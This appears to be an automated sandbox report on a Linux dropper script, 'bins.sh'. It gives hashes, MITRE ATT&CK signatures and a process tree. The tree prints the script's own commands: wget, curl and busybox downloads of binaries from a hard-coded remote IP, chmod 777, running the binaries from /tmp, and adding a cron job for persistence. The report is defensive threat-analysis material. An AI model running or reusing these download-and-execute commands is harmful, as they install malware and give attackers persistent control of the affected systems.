6265eebce01310bd7f75b57be67d5ae35e4f453ef437e8941475ed24ee3b9765

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/11/2024, 02:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241107-cz94bawkbj
SHA256 6265eebce01310bd7f75b57be67d5ae35e4f453ef437e8941475ed24ee3b9765
MD5 4bd23794c28b1934d8a5a8a29e58488c
SHA1 5ae5ba895bd9485a91d094c09ad61707e76417d0
SHA512 12ce82921ac72e233e41e53f0b0bb1d5646016a14047a0196a6f1e4a242ca8b8451c7dbad233d83b47f2000296031cbd86c286c0c3c0587774d31226a6d83137
SSDEEP 96:NimB83XJ66puaTUcjuq/e20vRJ49xdLTcc9LoDquq/e2CvRJ49x1cSmrCqU66pub:cTUcjuq/e20uLTcc11uq/e2+yK5
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1904) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod
766	chmod
800	chmod
740	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	741	jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	748	BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	767	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
/tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj	802	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj

Renames itself 1 IoCs

pid	Process
803	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.h7i0vv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/78/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/822/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/874/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/897/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/924/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/15/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/381/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/828/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/348/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/318/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/815/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1027/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/18/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/834/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/873/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/947/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/795/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/899/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/937/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1029/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/710/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/864/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/872/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/890/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/911/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/961/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1000/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/36/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/848/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1015/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/840/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/838/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/844/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/883/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/906/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/963/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/975/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1002/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/6/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/411/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/831/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/707/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/922/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/956/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/856/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/790/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/867/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/869/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/886/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/1018/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/814/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/880/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/964/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/986/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/13/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/236/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/882/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/4/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/340/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/706/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
File opened for reading	/proc/825/cmdline	UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj	curl
File opened for modification	/tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj	busybox
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	wget
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	busybox
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	busybox
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	busybox
File opened for modification	/tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj	wget
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	curl
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	wget
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	curl
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	wget
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  ./jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  ./BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  PID:750
- /usr/bin/wget
  wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  ./vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  PID:770
- /usr/bin/wget
  wget http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  ./UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:802
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:804
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:805
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:808
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:809
- /bin/rm
  rm UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/OlWQFd2qF9WjSFRXDPX923MMOjUpbtVbhr
  2⤵
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi

Path /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj

Path /tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c

Path /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

Path /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.h7i0vv

Path /var/spool/cron/crontabs/tmp.h7i0vv
Size 210B
SHA256 b3d540a9cdcf1e8afc95c0abca97678e73101b7ce1c2e947d00b10cd6dea90a1
MD5 14d8a10c35f7c29c0c2b63f6c304bd3e
SHA1 f64046422be3656efc424447935684557167e3e2
SHA512 b3d78fd26e32ec9b428cee7cf9bc1ad0a8baf62439efbcddbd757ca760aae34f69576d0de441e1ea28d8588be478e2cc760f894156847ff3f4c8c2e502f60730
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads